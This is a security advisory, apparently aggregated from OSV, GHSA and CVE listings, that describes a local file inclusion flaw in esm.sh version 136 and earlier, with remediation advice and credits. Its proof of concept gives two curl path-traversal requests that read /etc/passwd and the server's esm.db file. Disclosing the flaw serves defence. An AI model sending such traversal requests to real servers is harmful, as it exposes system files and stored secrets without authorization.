esm.sh has File Inclusion issue in github.com/esm-dev/esm.sh

Open Source Vulnerabilities CVE-2025-59341

esm.sh is a nobuild content delivery network(CDN) for modern web development. In 136 and earlier, a Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).

Open Source Vulnerabilities GO-2025-3962

esm.sh has File Inclusion issue in github.com/esm-dev/esm.sh

Open Source Vulnerabilities GHSA-49pv-gwxp-532r

## Summary A Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources). **Severity:** High — LFI can expose secrets, configuration files, credentials, or enable further compromise. **Impact:** reading configuration files, private keys, environment files, or other sensitive files; disclosure of secrets or credentials; information leakage that could enable further attacks. Vulnerable code snippet is in this file: https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168 --- ## Proof of Concept 1. Using this default config file that I copy from the repo, the server is running at `http://localhost:9999` with this command `go run server/esmd/main.go --config=config.json` ```json { "port": 9999, "npmRegistry": "https://registry.npmjs.org/", "npmToken": "******" } ``` 2. Trigger the LFI vulnerability by sending this command below to read a local file ```bash # read /etc/passwd curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1' # or read the database esm.db file curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../esm.db?raw=1&module=1' ``` <img width="3338" height="1906" alt="poc-image" src="https://github.com/user-attachments/assets/f3721e5d-a09c-4227-960a-35279ff52811" /> --- ## Remediation Simply remove any `..` in the URL path before actually process the file. See more details in [this guide](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html) ## Credits - [Ai Ho (Jessie)](https://github.com/j3ssie) - [CL Yang](https://github.com/A11riseforme)